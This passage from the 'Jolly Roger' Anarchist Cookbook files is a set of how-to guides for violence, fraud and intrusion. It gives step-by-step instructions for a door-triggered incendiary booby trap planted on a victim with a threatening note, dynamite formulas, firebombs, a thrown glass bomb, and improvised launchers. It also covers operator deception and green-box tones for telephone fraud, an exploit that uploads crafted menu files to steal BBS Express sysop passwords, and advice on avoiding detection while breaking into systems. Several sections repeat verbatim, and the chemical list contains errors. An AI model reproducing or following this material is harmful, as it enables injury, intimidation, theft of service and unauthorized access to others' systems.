  3535. 315  518-471-8111    716  518-471-8111
  3536. 316  816-275-2782    717  412-633-5600
  3537. 317  317-265-4834    718  518-471-8111
  3538. 318  504-245-5330    801  303-293-8777
  3539. 319  402-580-2255    802  617-787-5300
  3540. 401  617-787-5300    803  912-784-0440
  3541. 402  402-580-2255    804  304-344-7935
  3542. 403  403-425-2652    805  415-543-2861
  3543. 404  912-784-0440    806  512-828-2501
  3544. 405  405-236-6121    807  416-443-0542
  3545. 406  303-293-8777    808  212-334-4336
  3546. 408  415-543-6374    809  212-334-4336
  3547. 409  713-861-7194    812  317-265-4834
  3548. 412  413-633-5600    813  813-228-7871
  3549. 413  617-787-5300    814  412-633-5600
  3550. 414  608-252-6932    815  217-525-5800
  3551. 415  415-543-6374    816  816-275-2782
  3552. 416  416-443-0542    817  214-464-7400
  3553. 417  314-721-6626    818  415-781-5271
  3554. 418  514-725-2491    819  514-725-2491
  3555. 419  614-464-0123    901  615-373-5791
  3556. 501  405-236-6121    902  902-421-4110
  3557. 502  502-583-2861    904  912-784-0440
  3558. 503  206-382-5124    906  313-223-8690
  3559. 504  504-245-5330    907  *** NONE ***
  3560. 505  303-293-8777    912  912-784-0440
  3561. 506  506-648-3041    913  816-275-2782
  3562. 507  402-580-2255    914  518-471-8111
  3563. 509  206-382-5124    915  512-828-2501
  3564. 512  512-828-2501    916  415-543-2861
  3565. 513  614-464-0123    918  405-236-6121
  3566. 514  514-725-2491    919  912-784-0440
  3567. 515  402-580-2255    516  518-471-8111
  3568. 517  313-223-8690    518  518-471-8111
  3569. 519  416-443-0542    900  201-676-7070
  3570.  
  3571. Electronic Terrorism                            by The Jolly Roger
  3572.  
  3573. It starts when a big, dumb lummox rudely insults you.  Being of a
  3574. rational, intelligent disposition, you wisely choose to avoid a
  3575. (direct) confrontation.  But as he laughs in your face, you smile
  3576. inwardly---your revenge is already planned.
  3577. Step 1:  follow your victim to his locker, car, or house.  Once you
  3578. have chosen your target site, lay low for a week or more,
  3579. letting your anger boil.
  3580. Step 2:  in the mean time, assemble your versatile terrorist
  3581. kit(details below.)
  3582. Step 3:  plant your kit at the designated target site on a monday
  3583. morning between the hours of 4:00 am and 6:00 am.  Include a
  3584. calm, suggestive note that quietly hints at the possibility
  3585. of another attack.  Do not write it by hand!  An example of
  3586. an effective note:
  3587.   "don't be such a jerk, or the next one will take off your
  3588.    hand.  Have a nice day."
  3589. Notice how the calm tone instills fear.  As if written by a
  3590. homicidal psychopath.
  3591. Step 5:  choose a strategic location overlooking the target site.  Try
  3592. to position yourself in such a way that you can see his facial contortions.
  3593. Step 6:  sit back and enjoy the fireworks! Assembly of the versatile,
  3594. economic, and effective terrorist kit #1: the parts you'll need are:
  3595. 1) 4 aa batteries
  3596. 2) 1 9-volt battery
  3597. 3) 1 spdt mini relay (radio shack)
  3598. 4) 1 rocket engine(smoke bomb or m-80)
  3599. 5) 1 solar ignitor (any hobby store)
  3600. 6) 1 9-volt battery connector
  3601.  
  3602.  
  3603. Step 1:  take the 9-volt battery and wire it through the relay's coil.
  3604. This circuit should also include a pair of contacts that when
  3605. separated cut off this circuit.  These contacts should be held together
  3606. by trapping them between the locker,mailbox, or car door.
  3607. Once the door is opened, the contacts fall apart and the 9-volt circuit
  3608. is broken, allowing the relay to fall to the closed postion
  3609. thus closing the ignition circuit. (If all this is confusing take a
  3610. look at the schematic below.)
  3611.  
  3612. Step 2:  take the 4 aa batteries and wire them in succession.
  3613. Wire the positive terminal of one to the negative terminal of another,
  3614. until all four are connected except one positive terminal and one negative
  3615. terminal.  Even though the four aa batteries only combine to create 6
  3616. volts, the increase in amperage is necessary to activate the solar
  3617. ignitor quickly and effectively.
  3618.  
  3619. Step 3:  take the battery pack (made in step 2) and wire one end of it
  3620. to the relay's single pole and the other end to one prong of the solar
  3621. ignitor.  Then wire the other prong of the solar ignitor back to the open
  3622. position on the relay.
  3623.  
  3624. Step 4:  using double sided carpet tape mount the kit in his locker,
  3625. mailbox, or car door. And last, insert the solar ignitor into the
  3626. rocket engine (smoke bomb or m-80).
  3627.  
  3628.  
  3629.  
  3630. Your kit is now complete!
  3631.        
  3632.         ---------><---------
  3633.         I    (CONTACTS)    I
  3634.         I                  I
  3635.         I                  -  (BATTERY)
  3636.         I                 ---
  3637.         I                  I
  3638.         I      (COIL)      I
  3639.         ------///////-------
  3640.           /-----------
  3641.          /           I
  3642.         /            I
  3643.        /             I
  3644.    (SWITCH) I        I
  3645.             I        I
  3646.             I       --- (BATTERY)
  3647.             I        -  ( PACK  )
  3648.             I       ---
  3649.             I        I
  3650.             I        I
  3651.             ---- -----
  3652.                I I
  3653.                 *
  3654.          (SOLAR IGNITOR)
  3655.  
  3656.                                ---------Jolly Roger
  3657.  
  3658. Electronic Terrorism                            by The Jolly Roger
  3659.  
  3660. It starts when a big, dumb lummox rudely insults you.  Being of a
  3661. rational, intelligent disposition, you wisely choose to avoid a
  3662. (direct) confrontation.  But as he laughs in your face, you smile
  3663. inwardly---your revenge is already planned.
  3664. Step 1:  follow your victim to his locker, car, or house.  Once you
  3665. have chosen your target site, lay low for a week or more,
  3666. letting your anger boil.
  3667. Step 2:  in the mean time, assemble your versatile terrorist
  3668. kit(details below.)
  3669. Step 3:  plant your kit at the designated target site on a monday
  3670. morning between the hours of 4:00 am and 6:00 am.  Include a
  3671. calm, suggestive note that quietly hints at the possibility
  3672. of another attack.  Do not write it by hand!  An example of
  3673. an effective note:
  3674.   "don't be such a jerk, or the next one will take off your
  3675.    hand.  Have a nice day."
  3676. Notice how the calm tone instills fear.  As if written by a
  3677. homicidal psychopath.
  3678. Step 5:  choose a strategic location overlooking the target site.  Try
  3679. to position yourself in such a way that you can see his facial contortions.
  3680. Step 6:  sit back and enjoy the fireworks! Assembly of the versatile,
  3681. economic, and effective terrorist kit #1: the parts you'll need are:
  3682. 1) 4 aa batteries
  3683. 2) 1 9-volt battery
  3684. 3) 1 spdt mini relay (radio shack)
  3685. 4) 1 rocket engine(smoke bomb or m-80)
  3686. 5) 1 solar ignitor (any hobby store)
  3687. 6) 1 9-volt battery connector
  3688.  
  3689.  
  3690. Step 1:  take the 9-volt battery and wire it through the relay's coil.
  3691. This circuit should also include a pair of contacts that when
  3692. separated cut off this circuit.  These contacts should be held together
  3693. by trapping them between the locker,mailbox, or car door.
  3694. Once the door is opened, the contacts fall apart and the 9-volt circuit
  3695. is broken, allowing the relay to fall to the closed postion
  3696. thus closing the ignition circuit. (If all this is confusing take a
  3697. look at the schematic below.)
  3698.  
  3699. Step 2:  take the 4 aa batteries and wire them in succession.
  3700. Wire the positive terminal of one to the negative terminal of another,
  3701. until all four are connected except one positive terminal and one negative
  3702. terminal.  Even though the four aa batteries only combine to create 6
  3703. volts, the increase in amperage is necessary to activate the solar
  3704. ignitor quickly and effectively.
  3705.  
  3706. Step 3:  take the battery pack (made in step 2) and wire one end of it
  3707. to the relay's single pole and the other end to one prong of the solar
  3708. ignitor.  Then wire the other prong of the solar ignitor back to the open
  3709. position on the relay.
  3710.  
  3711. Step 4:  using double sided carpet tape mount the kit in his locker,
  3712. mailbox, or car door. And last, insert the solar ignitor into the
  3713. rocket engine (smoke bomb or m-80).
  3714.  
  3715.  
  3716.  
  3717. Your kit is now complete!
  3718.        
  3719.         ---------><---------
  3720.         I    (CONTACTS)    I
  3721.         I                  I
  3722.         I                  -  (BATTERY)
  3723.         I                 ---
  3724.         I                  I
  3725.         I      (COIL)      I
  3726.         ------///////-------
  3727.           /-----------
  3728.          /           I
  3729.         /            I
  3730.        /             I
  3731.    (SWITCH) I        I
  3732.             I        I
  3733.             I       --- (BATTERY)
  3734.             I        -  ( PACK  )
  3735.             I       ---
  3736.             I        I
  3737.             I        I
  3738.             ---- -----
  3739.                I I
  3740.                 *
  3741.          (SOLAR IGNITOR)
  3742.  
  3743.                                ---------Jolly Roger
  3744.  
  3745. How to Start A Conference w/o 2600hz or M-F         by The Jolly Roger
  3746.      
  3747.         (Originally an Apple ][ file, forgive the upper case!)
  3748.  
  3749. THIS METHOD OF STARTING THE CONF. DEPENDS ON YOUR ABILITY TO BULLSHIT THE
  3750. OPERATOR INTO DIALING A NUMBER WHICH CAN ONLY BE REACHED WITH AN OPERATOR'S
  3751. M-F TONES.  WHEN BULLSHITTING THE OPERATOR REMEMBER OPERATOR'S ARE NOT
  3752. HIRED TO THINK BUT TO DO.
  3753.  
  3754. HERE IS A STEP-BY-STEP WAY TO THE CONF.:
  3755. 1. CALL THE OPERATOR THROUGH A PBX OR EXTENDER, YOU COULD JUST CALL ONE
  3756. THROUGH YOUR LINE BUT I WOULDN'T RECOMMEND IT.
  3757. 2. SAY TO THE OPERATOR:
  3758. TSPS MAINTENENCE ENGINEER, RING-FORWARD TO 213+080+1100, POSITION RELEASE,
  3759. THANKYOU.
  3760. (SHE WILL PROBABLY ASK YOU FOR THE NUMBER AGAIN)
  3761.  
  3762. DEFINITIONS: RING-FORWARD - INSTRUCTS HER TO DIAL THE NUMBER.
  3763. POSITION RELEASE - INSTUCTS HER TO RELEASE THE TRUNK AFTER SHE HAS
  3764. DIALED THE NUMBER.
  3765. + - REMBER TO SAY 213PLUS080 PLUS1100.
  3766. 3. WHEN YOU ARE CONNECTED WITH THE CONF. YOU WILL HERE A WHISTLE BLOW
  3767. TWICE AND A RECORDING ASKING YOU FOR YOUR OPERATOR #. DIAL IN ANY FIVE
  3768. DIGITS AND HIT THE POUNDS SIGN A COUPLE OF TIMES. SIMPLY DIAL IN THE #
  3769. OF THE BILLING LINE ECT. WHEN THE RECORDING ASK FOR IT.
  3770. 3. WHEN IN THE CONTROL MODE OF THE CONF. HIT '6' TO TRANSFER CONTROL.
  3771. HIT '001' TO REENTER THE # OF CONFEREE'S AND TIME AMOUNT WHICH YOU
  3772. GAVE WHEN YOU STARED THE CONF. REMEMBER THE SIZE CAN BE FROM
  3773. 2-59 CONFEREE'S. I HAVE NOT FOUND OUT THE 'LENGTHS' LIMITS.
  3774.  
  3775.  
  3776.  
  3777. How to Make Dynamite                            by The Jolly Roger
  3778.  
  3779. Dynamite is nothing more than just nitroglycerin and a stablizing
  3780. agent to make it much safer to use.  For the sake of saving time, I
  3781. will abbreviate nitroglycerin with a plain NG.  The numbers
  3782. are percentages, be sure to mix these carefully and be sure to use the
  3783. exact amounts.  These percentages are in weight ratio, not volume.
  3784.  
  3785. no.  ingredients                 amount
  3786. ---------------------------------------
  3787. #1   NG                          32
  3788.      sodium nitrate              28
  3789.      woodmeal                    10
  3790.      ammonium oxalate            29
  3791.      guncotten                    1
  3792. #2   NG                          24
  3793.      potassium nitrate            9
  3794.      sodium nitate               56
  3795.      woodmeal                     9
  3796.      ammonium oxalate             2
  3797. #3   NG                          35.5
  3798.      potassium nitrate           44.5
  3799.      woodmeal                     6
  3800.      guncotton                    2.5
  3801.      vaseline                     5.5
  3802.      powdered charcoal            6
  3803. #4   NG                          25
  3804.      potassium nitrate           26
  3805.      woodmeal                    34
  3806.      barium nitrate               5
  3807.      starch                      10
  3808. #5   NG                          57
  3809.      potassium nitrate           19
  3810.      woodmeal                     9
  3811.      ammonium oxalate            12
  3812.      guncotton                    3
  3813. #6   NG                          18
  3814.      sodium nitrate              70
  3815.      woodmeal                     5.5
  3816.      potassium chloride           4.5
  3817.      chalk                        2
  3818. #7   NG                          26
  3819.      woodmeal                    40
  3820.      barium nitrate              32
  3821.      sodium carbonate             2
  3822. #8   NG                          44
  3823.      woodmeal                    12
  3824.      anhydrous sodium sulfate    44
  3825. #9   NG                          24
  3826.      potassium nitrate           32.5
  3827.      woodmeal                    33.5
  3828.      ammonium oxalate            10
  3829. #10  NG                          26
  3830.      potassium nitrate           33
  3831.      woodmeal                    41
  3832. #11  NG                          15
  3833.      sodium nitrate              62.9
  3834.      woodmeal                    21.2
  3835.      sodium carbonate              .9
  3836. #12  NG                          35
  3837.      sodium nitrate              27
  3838.      woodmeal                    10
  3839.      ammonium oxalate             1
  3840. #13  NG                          32
  3841.      potassium nitrate           27
  3842.      woodmeal                    10
  3843.      ammonium oxalate            30
  3844.      guncotton                    1
  3845. #14  NG                          33
  3846.      woodmeal                    10.3
  3847.      ammonium oxalate            29
  3848.      guncotton                     .7
  3849.      potassium perchloride       27
  3850. #15  NG                          40
  3851.      sodium nitrate              45
  3852.      woodmeal                    15
  3853. #16  NG                          47
  3854.      starch                      50
  3855.      guncotton                    3
  3856. #17  NG                          30
  3857.      sodium nitrate              22.3
  3858.      woodmeal                    40.5
  3859.      potassium chloride           7.2
  3860. #18  NG                          50
  3861.      sodium nitrate              32.6
  3862.      woodmeal                    17
  3863.      ammonium oxalate              .4
  3864. #19  NG                          23
  3865.      potassium nitrate           27.5
  3866.      woodmeal                    37
  3867.      ammonium oxalate             8
  3868.      barium nitrate               4
  3869.      calcium carbonate             .5
  3870.  
  3871. Household equivalants for chemicles
  3872.  
  3873. It has come to my attention that many of these chemicles are
  3874. sold under brand names, or have household equivalants.  here is a list
  3875. that might help you out. Also, see elsewhere in this Cookbook for 
  3876. a more complete listing............
  3877.  
  3878. acetic acid                vinegar
  3879. aluminum oxide             alumia
  3880. aluminum potassium sulfate alum
  3881. aluminum sulfate           alum
  3882. ammonium hydroxide         ammonia
  3883. carbon carbonate           chalk
  3884. calcium hypochloride       bleaching powder
  3885. calcium oxide              lime
  3886. calcium sulfate            plaster of paris
  3887. carbonic acid              seltzer
  3888. carbon tetrachloride       cleaning fluid
  3889. ethylene dichloride        Dutch fluid
  3890. ferric oxide               iron rust
  3891. glucose                    corn syrup
  3892. graphite                   pencil lead
  3893. hydrochloric acid          muriatic acid
  3894. hydrogen peroxide          peroxide
  3895. lead acetate               sugar of lead
  3896. lead tetrooxide            red lead
  3897. magnesium silicate         talc
  3898. magnesium sulfate          Epsom salts
  3899. naphthalene                mothballs
  3900. phenol                     carbolic acid
  3901. potassium bicarbonate      cream of tartar
  3902. potassium chromium sulf.   chrome alum
  3903. potassium nitrate          saltpeter
  3904. sodium dioxide             sand
  3905. sodium bicarbonate         baking soda
  3906. sodium borate              borax
  3907. sodium carbonate           washing soda
  3908. sodium chloride            salt
  3909. sodium hydroxide           lye
  3910. sodium silicate            water glass
  3911. sodium sulfate             glauber's salt
  3912. sodium thiosulfate         photographer's hypo
  3913. sulferic acid              battery acid
  3914. sucrose                    cane sugar
  3915. zinc chloride              tinner's fluid
  3916.  
  3917. Keep this list handy at all times. If you can't seem to get one
  3918. or more of the ingredients try another one.  If you still can't, you
  3919. can always buy small amounts from your school, or maybe from various
  3920. chemical companies.  When you do that, be sure to say as little as
  3921. possible, if during the school year, and they ask, say it's for a
  3922. experiment for school.
  3923.                               -------------Jolly Roger
  3924.  
  3925. Auto Exhaust Flame Thrower                      by The Jolly Roger
  3926.  
  3927. For this one, all you need is a car, a sparkplug, ignition wire and a
  3928. switch. Install the spark plug into the last four or five inches of
  3929. the tailpipeby drilling a hole that the plug can screw into easily.
  3930. Attach the wire (this is regular insulated wire) to one side of the
  3931. switch and to the spark plug. The other side of the switch is attached
  3932. to the positive terminal on the battery. With the car running, simply
  3933. hit the switch and watch the flames fly!!! Again be careful that no
  3934. one is behind you! I have seen some of these flames go 20 feet!!!
  3935.  
  3936.                                -------------Jolly Roger
  3937.  
  3938. Breaking into BBS Express              Courtesy of the Jolly Roger
  3939.  
  3940. If you have high enough access on any BBS Express BBS you can get the
  3941. Sysop's password without any problems and be able to log on as him and do
  3942. whatever you like. Download the Pass file, delete the whole BBS, anything.
  3943. Its all a matter of uploading a text file and d/ling it from the BBS. You
  3944. must have high enough access to see new uploads to do this. If you can see
  3945. a file you just uploaded you have the ability to break into the BBS in a
  3946. few easy steps.
  3947. Why am I telling everyone this when I run BBS Express myself?
  3948. Well there is one way to stop this from happening and I want other Sysops
  3949. to be aware of it and not have it happen to them.
  3950. Breaking in is all based on the MENU function of BBS Express. Express
  3951. will let you create a menu to display different text files by putting the
  3952. word MENU at the top of any text file and stating what files are to be
  3953. displayed. But due to a major screw up by Mr. Ledbetter you can use this
  3954. MENU option to display the USERLOG and the Sysop's Passwords or anything
  3955. else you like. I will show you how to get the Sysop's pass and therefore
  3956. log on as the Sysop. BBs Express Sysop's have 2 passwords. One like
  3957. everyone else gets in the form of X1XXX, and a Secondary password
  3958. to make it harder to hack out the Sysops pass.
  3959. The Secondary pass is found in a file called SYSDATA.DAT.
  3960. This file must be on drive 1 and is therefore easy to get. All you have to
  3961. do is upload this simple Text file:
  3962.  
  3963. MENU
  3964. 1
  3965. D1:SYSDATA.DAT
  3966.  
  3967. Ripoff time!
  3968.  
  3969. after you upload this file you d/l it non-Xmodem. Stupid Express thinks
  3970. it is displaying a menu and you will see this:
  3971.  
  3972. Ripoff time!
  3973.  
  3974. Selection [0]:
  3975.  
  3976. Just hit 1 and Express will display the SYSDATA.DAT file.OPPASS is where
  3977. the Sysop's Secondary pass will be. D1:USERLOG.DAT is where you will find
  3978. the name and Drive number of the USERLOG.DAT file. The Sysop might have
  3979. renamed this file or put it in a Subdirectory or even on a different
  3980. drive. I Will Assume he left it as D1:USERLOG.DAT. The other parts of this
  3981. file tell you where the .HLP screens are and where the LOG is saved and
  3982. all the Download path names.
  3983.  
  3984. Now to get the Sysop's primary pass you upload a text file like this:
  3985.  
  3986. MENU
  3987. 1
  3988. D1:USERLOG.DAT
  3989.  
  3990. Breaking into Bedwetter's BBS
  3991.  
  3992. Again you then d/l this file non-Xmodem and you will see:
  3993.  
  3994. Breaking into Bedwetter's BBS
  3995.  
  3996. Selection [0]:
  3997.  
  3998. You then hit 1 and the long USERLOG.DAT file comes flying at you.
  3999. The Sysop is the first entry in this very long file so it is easy. You will
  4000. see:
  4001.  
  4002. SYSOP'S NAME        X1XXX
  4003. You should now have his 2 passwords.
  4004.  
  4005. There is only one easy way out of this that I can think of, and that is
  4006. to make all new uploads go to SYSOP level (Level 9) access only. This way
  4007. nobody can pull off what I just explained.
  4008. I feel this is a major Bug on Mr. Ledbetter's part. I just don't know why
  4009. no one had thought of it before. I would like to give credit to 
  4010. Redline for the message he left on Modem Hell telling about this problem,
  4011. and also to Unka for his ideas and input about correcting it.
  4012.  
  4013. This has been brought to you from [_The_Piper_] and the S.O.D. BBS
  4014. Network!
  4015. Firebombs                                       by the Jolly Roger
  4016.  
  4017. Most fire bombs are simply gasoline filled bottles with a fuel
  4018. soaked rag in the mouth (the bottle's mouth, not yours). The original
  4019. Molotov cocktail, and still about the best, was a mixture of one part
  4020. gasoline and one part motor oil. The oil helps it to cling to what it
  4021. splatters on.
  4022. Some use one part roofing tar and one part gasoline. Fire bombs
  4023. have been found which were made by pouring melted wax into gasoline.
  4024.               
  4025.                                   -------------Jolly Roger
  4026.  
  4027. Fuse Ignition Bomb                              by The Jolly Roger
  4028.  
  4029. A four strand homemade fuse is used for this. It burns like fury.
  4030. It is held down and concealed by a strip of bent tin cut from a can.
  4031. The exposed end of the fuse is dipped into the flare igniter. To use
  4032. this one, you light the fuse and hold the fire bomb until the fuse has
  4033. burned out of sight under the tin. Then throw it and when it breaks,
  4034. the burning fuse will ignite the contents.
  4035.  
  4036.                                    -------------Jolly Roger
  4037.  
  4038. Fuse Ignition Bomb                              by The Jolly Roger
  4039.  
  4040. A four strand homemade fuse is used for this. It burns like fury.
  4041. It is held down and concealed by a strip of bent tin cut from a can.
  4042. The exposed end of the fuse is dipped into the flare igniter. To use
  4043. this one, you light the fuse and hold the fire bomb until the fuse has
  4044. burned out of sight under the tin. Then throw it and when it breaks,
  4045. the burning fuse will ignite the contents.
  4046.  
  4047.                                    -------------Jolly Roger
  4048.  
  4049. Generic Bomb                                    by the Jolly Roger
  4050.  
  4051. 1) Aquire a glass container
  4052. 2) Put in a few drops of gasoline
  4053. 3) Cap the top
  4054. 4) Now turn the container around to coat the inner surfaces and then
  4055. evaporates
  4056. 5) Add a few drops of potassium permanganate (<-Get this stuff from a
  4057. snake bite kit)
  4058. 6) The bomb is detonated by throwing aganist a solid object.
  4059. *AFTER THROWING THIS THING RUN LIKE HELL THIS THING PACKS ABOUT 1/2
  4060. STICK OF DYNAMITE*
  4061.  
  4062.                             ---------------Jolly Roger
  4063.  
  4064. Green Box Plans                                 by the Jolly Roger
  4065.  
  4066. Paying the initial rate in order to use a red box (on certain 
  4067. fortresses) left a sour taste in many red boxers mouths, thus the 
  4068. green box was invented. The green box generates useful tones such as
  4069. COIN COLLECT, COIN RETURN, AND RINGBACK. These are the tones that
  4070. ACTS or the TSPS operator would send to the CO when appropriate.
  4071. Unfortunately, the green box cannot be used at the fortress station but
  4072. must be used by the CALLED party.
  4073.  
  4074. Here are the tones:
  4075. COIN COLLECT     700+1100hz
  4076. COIN RETURN      1100+1700hz
  4077. RINGBACK         700+1700hz
  4078.  
  4079. Before the called party sends any of these tones, an operator realease
  4080. signal should be sent to alert the MF detectors at the CO.
  4081. This can be done by sending 900hz + 1500hz or a single 2600 wink (90 ms.)
  4082. Also do not forget that the initial rate is collected shortly before the
  4083. 3 minute period is up. Incidentally, once the above MF 
  4084. tones for collecting and returning coins reach the CO, they are 
  4085. converted into an appropriate DC pulse (-130 volts for return and
  4086. +130 for collect). This pulse is then sent down the tip to the 
  4087. fortress. This causes the coin relay to either return or collect the coins.
  4088. The alledged "T-network" takes advantage of this information.
  4089. When a pulse for coin collect (+130 VDC) is sent down the line,
  4090. it must be grounded somewhere. This is usually the yellow or black wire.
  4091. Thus, if the wires are exposed, these wires can be cut to prevent
  4092. the pulse from being grounded. When the three minute initial
  4093. period is almost up, make sure that the black and yellow wires are
  4094. severed, then hang up, wait about 15 seconds in case of a second
  4095. pulse, reconnect the wires, pick up the phone, and if all goes well,
  4096. it should be "JACKPOT" time.
  4097.                                ---------Jolly Roger
  4098.  
  4099. Portable Grenade Launcher                       by the Jolly Roger
  4100.  
  4101. If you have a bow, this one is for you. Remove the ferrule from an
  4102. aluminum arrow, and fill the arrow with black powder (I use grade
  4103. FFFF, it burns easy)and then glue a shotshell primer into the hole
  4104. left where the ferrule went. Next, glue a BB on the primer, and you
  4105. are ready to go! Make sure no one is nearby.... Little shreds of
  4106. aluminum go all over the place!!
  4107.                                     ------------Jolly Roger
  4108.  
  4109.  
  4110. Hacking Tutorial                       Courtesy of the Jolly Roger
  4111.  
  4112. What is hacking?
  4113. ----------------
  4114. According to popular belief the term hacker and hacking was founded at mit
  4115. it comes from the root of a hack writer,someone who keeps "hacking" at
  4116. the typewriter until he finishes the story.a computer hacker would be
  4117. hacking at the keyboard or password works.
  4118.  
  4119. What you need:
  4120. --------------
  4121. To hack you need a computer equipped with a modem (a device that lets you
  4122. transmit data over phone lines) which should cost you from $100 to $1200.
  4123.  
  4124. How do you hack?
  4125. ----------------
  4126. Hacking recuires two things:
  4127. 1. The phone number
  4128. 2. Answer to identity elements
  4129.  
  4130. How do you find the phone #?
  4131. ----------------------------
  4132. There are three basic ways to find a computers phone number.
  4133. 1. Scanning,
  4134. 2. Directory
  4135. 3. Inside info.
  4136.  
  4137. What is scanning?
  4138. -----------------
  4139. Scanning is the process of having a computer search for a carrier tone.
  4140. For example,the computer would start at (800) 111-1111 and wait for carrier
  4141. if there is none it will go on to 111-1112 etc.if there is a carrier it
  4142. will record it for future use and continue looking for more.
  4143.  
  4144. What is directory assictance?
  4145. -----------------------------
  4146. This way can only be used if you know where your target computer is. For this
  4147. example say it is in menlo park, CA and the company name is sri.
  4148.  
  4149. 1. Dial 411 (or 415-555-1212)
  4150. 2. Say "Menlo park"
  4151. 3. Say "Sri"
  4152. 4. Write down number
  4153. 5. Ask if there are any more numbers
  4154. 6. If so write them down.
  4155. 7. Hang up on operator
  4156. 8. Dial all numbers you were given
  4157. 9. Listen fir carrier tone
  4158. 10. If you hear carrier tone write down number, call it on your modem and your
  4159.     set to hack!
  4160.                             ---------------Jolly Roger
  4161.  
  4162. The Basics of Hacking II               Courtesy of the Jolly Roger
  4163.  
  4164. Basics to know before doing anything, essential to your continuing
  4165. career as one of the elite in the country...  This article, "the
  4166. introduction to the world of hacking" is meant to help you by telling you
  4167. how not to get caught, what not to do on a computer system, what type of
  4168. equipment should I know about now, and just a little on the history, past
  4169. present future, of the hacker.
  4170.  
  4171. Welcome to the world of hacking! We, the people who live outside of the
  4172. normal rules, and have been scorned and even arrested by those from the
  4173. 'civilized world', are becomming scarcer every day.  This is due to the
  4174. greater fear of what a good hacker (skill wise, no moral judgements
  4175. here)|can do nowadays, thus causing anti- hacker sentiment in the masses.
  4176. Also, few hackers seem to actually know about the computer systems they
  4177. hack, or what equipment they will run into on the front end, or what they
  4178. could do wrong on a system to alert the 'higher' authorities who monitor
  4179. the system. This article is intended to tell you about some things not to
  4180. do, even before you get on the system.  I will tell you about the new wave
  4181. of front end security devices that are beginning to be used on computers.
  4182. I will attempt to instill in you a second identity, to be brought up at
  4183. time of great need, to pull you out of trouble. And, by the way, I take no, repeat,
  4184. no, responcibility for what we say in this and the forthcoming articles.
  4185. Enough of the bullshit, on to the fun: after logging on your favorite bbs,
  4186. you see on the high access board a phone number!  It says it's a great
  4187. system to "fuck around with!" This may be true, but how many other people
  4188. are going to call the same number?  So:  try to avoid calling a number
  4189. given to the public. This is because there are at least every other
  4190. user calling, and how many other boards will that number spread to?
  4191. If you call a number far, far away, and you plan on going thru an
  4192. extender or a re-seller, don't keep calling the same access number
  4193. (I.E. As you would if you had a hacker running), this looks very suspicious
  4194. and can make life miserable when the phone bill comes in the mail.
  4195. Most cities have a variety of access numbers and services,
  4196. so use as many as you can. Never trust a change in the system...
  4197. The 414's, the assholes, were caught for this reason: when one of them
  4198. connected to the system, there was nothing good there.  The next time,
  4199. there was a trek game stuck right in their way!  They proceded to play said
  4200. game for two, say two and a half hours, while telenet was tracing them!
  4201. Nice job, don't you think?  If anything looks suspicious, drop the line
  4202. immediately!!  As in, yesterday!! The point we're trying to get accross is:
  4203. if you use a little common sence, you won't get busted.  Let the little
  4204. kids who aren't smart enough to recognize a trap get busted, it will take
  4205. the heat off of the real hackers. Now, let's say you get on a computer
  4206. system...  It looks great, checks out, everything seems fine.
  4207. Ok, now is when it gets more dangerous.  You have to know the computer
  4208. system to know what not to do. 
  4209. Basically, keep away from any command something, copy a new file into the
  4210. account, or whatever!  Always leave the account in the same status you
  4211. logged in with.  Change *nothing*... If it isn't an account with priv's,
  4212. then don't try any commands that require them! All, yes all, systems are
  4213. going to be keeping log files of what users are doing, and that will
  4214. show up.  It is just like dropping a trouble-card in an ESS system,
  4215. after sending that nice operator a pretty tone.
  4216. Spend no excessive amounts of time on the account in one stretch.
  4217. Keep your calling to the very late night ifpossible, or during
  4218. business hours (believe it or not!).  It so happens
  4219. that there are more users on during business hours, and it is very
  4220. difficult to read a log file with 60 users doing many commnds every minute.
  4221. Try to avoid systems where everyone knows each other, don't try to bluff.
  4222. And above all:  never act like you own the system, or are the best there
  4223. is. They always grab the people who's heads swell... There is some very
  4224. interesting front end equipment around nowadays, but first let's
  4225. define terms... By front end, we mean any device that you must
  4226. pass thru to get at the real computer. There are devices that are made to
  4227. defeat hacker programs, and just plain old multiplexers.
  4228. To defeat hacker programs, there are now devices that pick up the phone
  4229. and just sit there...  This means that your device gets no carrier,
  4230. thus you think there isn't a computer on the other end.  The
  4231. only way around it is to detect when it was picked up.  If it pickes up
  4232. after the same number ring, then you know it is a hacker-defeater.
  4233. These devices take a multi-digit code to let you into the system.
  4234. Some are, in fact, quite sophisticated to the point where it
  4235. will also limit the user name's down, so only one name or set of names
  4236. can be valid logins after they input the code... Other devices input a
  4237. number code, and then they dial back a pre-programmed number for that code.
  4238. These systems are best to leave alone,
  4239. because they know someone is playing with their phone.  You may think "but
  4240. i'll just reprogram the dial-back." Think again, how stupid that is...
  4241. Then they have your number, or a test loop if you were just a little
  4242. smarter. If it's your number, they have your balls (if male...),
  4243. If its a loop, then you are screwed again, since those loops
  4244. are *monitored*. As for multiplexers...  What a plexer is supposed
  4245. to do is this:
  4246. The system can accept multiple users. We have to time share, so we'll let
  4247. the front-end processor do it...  Well, this is what a multiplexer does.
  4248. Usually they will ask for something like "enter class" or "line:".  Usually
  4249. it is programmed for a double digit number, or a four to five letter word.
  4250. There are usually a few sets of numbers it accepts, but those numbers also
  4251. set your 300/1200/2400 baud data type.
  4252. These multiplexers are inconvenient at best, so not to worry. A little
  4253. about the history of hacking: hacking, by my definition, means a great
  4254. knowledge of some special area. Doctors and lawyers
  4255. are hackers of a sort, by this definition.  But most often, it is
  4256. being used in the computer context, and thus we have a definition of
  4257. "anyone who has a great amount of computer or telecommunications
  4258. knowledge."  You are not a hacker because you have a list of codes...
  4259. Hacking, by my definition, has then been around only about 15 years.
  4260. It started, where else but, mit and colleges where they had computer
  4261. science or electrical engineering departments.
  4262. Hackers have created some of the best computer languages, the
  4263. most awesome operating systems, and even gone on to make millions.
  4264. Hacking used to have a good name, when we could honestly say
  4265. "we know what we are doing".  Now it means (in the public eye):
  4266. the 414's, ron austin, the nasa hackers, the arpanet hackers...
  4267. All the people who have been caught,
  4268. have done damage, and are now going to have to face fines and sentences.
  4269. Thus we come past the moralistic crap, and to our purpose:  educate the
  4270. hacker community, return to the days when people actually knew something...
  4271.  
  4272.                                   --------------Jolly Roger
  4273.  
  4274.  
  4275. Hacking DEC's                                 by the Jolly Roger
  4276.  
  4277. In this article you will learn how to log in to dec's, logging out, and all
  4278. the fun stuff to do in-between.  All of this information is based on a
  4279. standard dec system.
  4280. Since there are dec systems 10 and 20, and I favor, the dec 20,
  4281. there will be more info on them in this article.  It just so happens
  4282. that the dec 20 is also the more common of the two, and is used by much
  4283. more interesting people (if you know what I mean...) Ok, the first thing
  4284. you want to do when you are receiving carrier from a dec system is to find
  4285. out the format of login names.  You can do this by looking at who is on the
  4286. system.
  4287. Dec=> `  (the 'exec' level prompt)
  4288. you=> sy
